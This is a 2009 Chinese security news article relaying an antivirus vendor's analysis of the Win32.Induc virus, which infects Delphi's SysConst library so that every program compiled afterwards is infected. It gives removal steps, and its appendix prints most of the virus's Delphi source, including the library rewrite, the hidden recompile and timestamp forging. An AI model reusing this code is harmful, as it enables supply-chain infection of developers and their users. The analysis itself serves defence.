科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道Delphi新病毒Win32.Induc分析报告

Delphi新病毒Win32.Induc分析报告

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

金山云安全中心近日在国内率先截获了一个针对计算机程序员、尤其是Delphi使用者的病毒“Delphi梦魇”(Win32.Induc.b.820224),简单描述该毒行为,就是:它专门感染Delphi程序员的电脑,一旦成功,程序员今后写出的任何程序,都将带有该毒!

来源:eNet 2009年8月21日

关键字: 病毒防范 Win32病毒 Delphi

  • 评论
  • 分享微博
  • 分享邮件

  金山云安全中心近日在国内率先截获了一个针对计算机程序员、尤其是Delphi使用者的病毒“Delphi梦魇”(Win32.Induc.b.820224),简单描述该毒行为,就是:它专门感染Delphi程序员的电脑,一旦成功,程序员今后写出的任何程序,都将带有该毒!

  以下是金山毒霸病毒分析组对Virus.Win32.Induc.a 感染型的分析:

  一、文件信息

  文件大小:163840字节

  加壳类型:ASPack 2.12

  编写语言:Borland Delphi 6.0

  病毒类型:感染型

  二、病毒描述

  该样本为Delphi感染型病毒,通过感染Delphi库文件中的SysConst.dcu文件,使用户在使用被感染的库文件编程后,生成的文件均被感染。

  三、病毒行为

  1.病毒在第N次处理初始化表时(Call StartExe)进行操作,即完成在程序加载正常Delphi文件前执行病毒代码。(数字N根据被感染用户的Delphi版本不同有所不同)。

  2.循环检测注册表键值HKLM\software\Borland\Delphi\ X.0 判断当前机器是否安装Delphi。检测版本(4.0 5.0 6.0 7.0)。如本机未安装则直接跳出病毒代码进行正常的初始化工作,不进行感染。

  3.如安装了Delphi则通过访问注册表得到用户的Delphi安装路径。

  4.根据用户安装路径将源文件夹中的SysConst.pas和库文件夹中的SysConst.dcu备份;

  即%%\Source\Rtl\Sys\SysConst.pas 与%%\Lib\SysConst.dcu。

  5.将Delphi源码代码写入源文件SysConst.pas中

  6.调用%%Bin\dcc32.exe 将感染后的源码文件SysConst.pas 生成本地库文件放入\Lib替换SysConst.dcu文件。

  7.将正常SysConst.pas备份恢复,删除源码中感染的文件。

  8.更改库文件中被替换后的SysConst.dcu文件时间,使其与其他文件一致。

  四、病毒危害程度

  该病毒实际上并不具有危害性,只是其更改了库文件后使编译生成的所有程序均带有不正常代码,而其代码行为即为以上描述。

  因为其将Delphi库文件修改使其使用Delphi语言编译后的文件均被感染,所以被感染文件大小不一,加壳情况也各异,本分析样本只是从中随机挑选,样本大小与加壳类型都不具有代表性。

  五、解决方案

  这个病毒具有二次感染能力,也就是说原来你编译出来的所有Delphi程序都可以再次感染你机器上的Delphi库文件,要彻底清除该病毒需做到以下几点:

  1、不要运行任何Delphi编写的程序。

  2、使用杀软扫描所有的Delphi编写的可执行文件并清除病毒。(或直接删除所有哦的Delphi编写的可执行文件,包括从网上下载的)

  3、将文件 %DelphiInstallPath%\Lib\SysConst.dcu 删掉,然后执行步骤4 或 步骤5和6。

  4、将文件 %DelphiInstallPath%\Lib\SysConst.bak 改名为 SysConst.dcu,结束。

  5、调用 DCC32.exe 编译出新的 SysConst.dcu ,编译命令如下: %DelphiInstallPath%\bin\DCC32.exe "%DelphiInstallPath% \\Source\Rtl\Sys\SysConst.pas"

  6、将新编译的SysConst.dcu(在%DelphiInstallPath% \\Source\Rtl\Sys\目录下)文件复制到 %DelphiInstallPath%\Lib\ 目录,结束。

  六、附录(Delphi源码)

  uses windows;

  var sc:array[1..24] of string=(

  function x(s:string):string;

  var i:integer;

  begin

  for i:=1 to length(s) do

  if s[i]=#36 then

  s[i]:=#39;

  result:=s;

  end;

  procedure re(s,d,e:string);

  var f1,f2 : textfile;

  h : cardinal;

  f : STARTUPINFO;

  p : PROCESS_INFORMATION;

  b : boolean;

  t1,t2,t3 : FILETIME;

  begin

  CreateFile( pchar( d + $bak$ ), 0, 0, 0, 3, 0, 0);

  if h<>DWORD(-1) then begin

  CloseHandle(h);

  exit;

  end;

  {$I-}

  assignfile(f1,s);

  reset(f1);

  if ioresult<>0 then

  exit;

  assignfile(f2, d + $pas$);

  rewrite(f2);

  if ioresult<>0 then begin

  closefile(f1);

  exit;

  end;

  while not eof(f1) do begin

  readln(f1,s);

  writeln(f2,s);

  if pos($implementation$,s) <>0 then

  break;

  end;

  for h:= 1 to 1 do

  writeln(f2,sc[h]);

  for h:= 1 to 23 do

  writeln(f2, $$$$+sc[h],$$$,$ );

  writeln(f2, $$$$+sc[24]+$$$);$ );

  for h:= 2 to 24 do

  writeln(f2, x(sc[h]));

  closefile(f1);

  closefile(f2);

  {$I+}

  MoveFile(pchar(d+$dcu$),pchar(d+$bak$));

  fillchar(f,sizeof(f),0);

  f.cb:=sizeof(f);

  f.dwFlags:=STARTF_USESHOWWINDOW;

  f.wShowWindow:=SW_HIDE;

  b:=CreateProcess(nil, pchar(e+$"$+d+$pas"$), 0, 0, false, 0, 0, 0, f, p);

  if b then

  WaitForSingleObject(p.hProcess,INFINITE);

  MoveFile(pchar(d+$bak$), pchar(d+$dcu$));

  DeleteFile(pchar(d+$pas$));

  h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0);

  if h=DWORD(-1) then

  exit;

  GetFileTime(h,@t1,@t2,@t3);

  CloseHandle(h);

  h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);

  if h=DWORD(-1) then

  exit;

  SetFileTime(h, @t1,@t2,@t3);

  CloseHandle(h);

  end;

  procedure st;

  var k : HKEY;

  c : array [1..255] of char;

  i : cardinal;

  r : string;

  v : char;

  begin

  for v:=$4$ to $7$ do

  if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar($Software\Borland\Delphi\$ + v+ $.0$ ), 0, KEY_READ, k) = 0 then begin

  i:=255;

  if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin

  r:=$$;

  i:= 1;

  while c[i] <> #0 do begin

  r:=r+c[i];

  inc(i);

  end;

  re( r + $\source\rtl\sys\SysConst$ + $.pas$, r + $\lib\sysconst.$, $"$+r+$\bin\dcc32.exe"$);

  end;

  RegCloseKey(k);

  end;

  end;

  begin

  st;

  end.

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章